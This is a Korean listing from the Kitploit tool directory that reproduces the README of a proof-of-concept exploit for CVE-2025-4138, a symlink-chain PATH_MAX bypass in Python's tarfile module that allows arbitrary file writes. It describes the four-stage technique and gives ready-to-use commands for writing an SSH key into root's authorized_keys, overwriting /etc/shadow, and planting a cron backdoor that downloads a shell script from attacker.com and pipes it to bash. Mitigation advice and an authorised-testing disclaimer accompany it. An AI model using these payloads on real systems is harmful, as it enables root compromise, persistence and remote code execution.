Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-4138-POC — CVE-2025-4138에 대한 Python PoC로, Python의 tarfile 모듈에서 심링크 체인을 악용하여 PATH_MAX를 우회하고 임의 파일 쓰기를 수행하는 경로 탐색(path traversal) 취약점입니다. | Kitploit
도구/GitHubGitHub/d3vn0mi/cve-2025-4138-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubd3vn0mi/cve-2025-4138-poc

CVE-2025-4138-POC

CVE-2025-4138에 대한 Python PoC로, Python의 tarfile 모듈에서 심링크 체인을 악용하여 PATH_MAX를 우회하고 임의 파일 쓰기를 수행하는 경로 탐색(path traversal) 취약점입니다.

저장소 보기
37개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-4138 - Python tarfile PATH_MAX 우회 PoC

작성자: d3vn0mi

   _______  _______     ____  ___ ___  ___      _ _  _ _____ ___
  / ___\ \ / / ____|   |___ \/ _ \__ \| __|    | | || |___ /( _ )
 | |    \ V /|  _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
 | |___  | | | |__|_____/ __/| |_| / __/___) |___|__   _|__) \__, |
  \____| |_| |_____|   |_____|\___/_____|____/      |_||____/ /_/

  [ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
  [ Author: d3vn0mi                                 ]

개요

CVE-2025-4138에 대한 개념 증명(PoC) 익스플로잇으로, Python tarfile 모듈의 경로 순회(path traversal) 취약점입니다. 이 취약점을 통해 공격자는 악성 tar 아카이브를 제작하여, 심볼릭 링크 체인을 악용해 PATH_MAX를 초과하게 만듦으로써 의도된 압축 해제 디렉터리 밖의 임의 위치에 파일을 기록할 수 있습니다.

취약점 상세 정보

필드값
CVE IDCVE-2025-4138
구성 요소Python tarfile 모듈
유형경로 순회 (CWE-22)
공격 벡터심볼릭 링크 체인 + PATH_MAX 우회
영향압축 해제 디렉터리 외부 임의 파일 쓰기

작동 원리

이 익스플로잇은 네 단계로 동작합니다:

  1. 경로 확장(Path Inflation) -- 전체 확인(resolve) 경로가 커널의 PATH_MAX 제한(Linux 기준 4096바이트)을 초과하도록 깊게 중첩된 디렉터리와 심볼릭 링크 체인을 구성합니다.

  2. 피벗 심볼릭 링크(Pivot Symlink) -- 확인된 경로가 PATH_MAX 경계를 넘어서는 심볼릭 링크를 추가합니다. 경로가 너무 길어 확인할 수 없으므로 Python tarfile의 안전 검사(os.path.realpath()에 의존)가 조용히 실패하고 검증을 건너뜁니다.

  3. 탈출 심볼릭 링크(Escape Symlink) -- 두 번째 심볼릭 링크는 피벗을 통해 ../ 순회를 사용하여 압축 해제 디렉터리를 완전히 벗어나, 파일 시스템 상의 공격자가 제어하는 절대 경로를 가리키게 합니다.

  4. 페이로드 드롭(Payload Drop) -- 탈출 심볼릭 링크를 통해 일반 파일이 기록되어, 공격자가 제어하는 내용과 권한으로 대상 경로에 배치됩니다.

Extract dir
    |
    +-- ddd...d/          (247-char dir)
    |   +-- a -> ddd...d  (symlink shortcut)
    |   +-- ddd...d/
    |       +-- b -> ddd...d
    |       +-- ...       (16 levels deep, resolved path > 4096)
    |
    +-- a/b/.../p/lll...l -> ../../...   (pivot - PATH_MAX exceeded)
    +-- escape -> pivot + ../../... + /target/dir  (escape)
    +-- escape/target_file  <-- PAYLOAD LANDS HERE (outside extract dir)

설치

git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc

외부 의존성이 필요하지 않습니다. 이 익스플로잇은 Python 3 표준 라이브러리 모듈만 사용합니다.

사용법

usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
                        [-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
                        [-d DEPTH] [-v] [-q]

옵션

플래그설명
-o, --output출력 타르볼 경로 (기본값: exploit.tar)
-t, --target대상에 기록할 파일의 절대 경로 (기본값: /root/.ssh/authorized_keys)
-p, --payload내용이 페이로드가 되는 파일의 경로
-s, --payload-string리터럴 문자열을 페이로드로 사용
-k, --ssh-keySSH 공개 키 파일의 경로
-m, --mode8진수 파일 권한 모드 (기본값: 0600)
-d, --depth디렉터리 순회 깊이 (기본값: 8)
-v, --verify생성 후 타르볼 내용 출력
-q, --quiet배너 표시 억제

예제

SSH 공개 키를 root의 authorized_keys에 기록:

python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v

지속성을 위한 cron 작업 기록:

python3 cve_2025_4138.py \
  -s "* * * * * root curl http://attacker.com/shell.sh | bash" \
  -t /etc/cron.d/backdoor \
  -m 0644 \
  -o cron_exploit.tar

로컬 파일에서 임의 파일 내용 기록:

python3 cve_2025_4138.py \
  -p payload.txt \
  -t /etc/shadow \
  -o shadow_exploit.tar \
  -v

출력

[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*]   Chain link 1/16: resolved path length ~247 bytes
[*]   Chain link 2/16: resolved path length ~494 bytes
    ...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.

완화 방안

  • Python 업그레이드 — 수정 사항이 공개되면 패치된 버전으로 업그레이드하세요.
  • tarfile.data_filter 사용 (Python 3.12+) — 더 엄격한 압축 해제 제어 기능을 제공합니다.
  • 신뢰할 수 없는 tar 아카이브를 root 권한으로 또는 민감한 디렉터리에 압축 해제하지 마세요.
  • --strip-components 사용 또는 압축 해제 전에 아카이브 내용을 검증하세요.
  • 심볼릭 링크 추적 제한(fs.protected_symlinks)과 같은 파일 시스템 수준의 보호 조치를 적용하세요.

면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 오용에 대한 어떠한 책임도 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 적절한 서면 승인을 받으십시오.

라이선스

이 프로젝트는 MIT 라이선스로 라이선스가 부여됩니다.


d3vn0mi | GitHub

도구 다운로드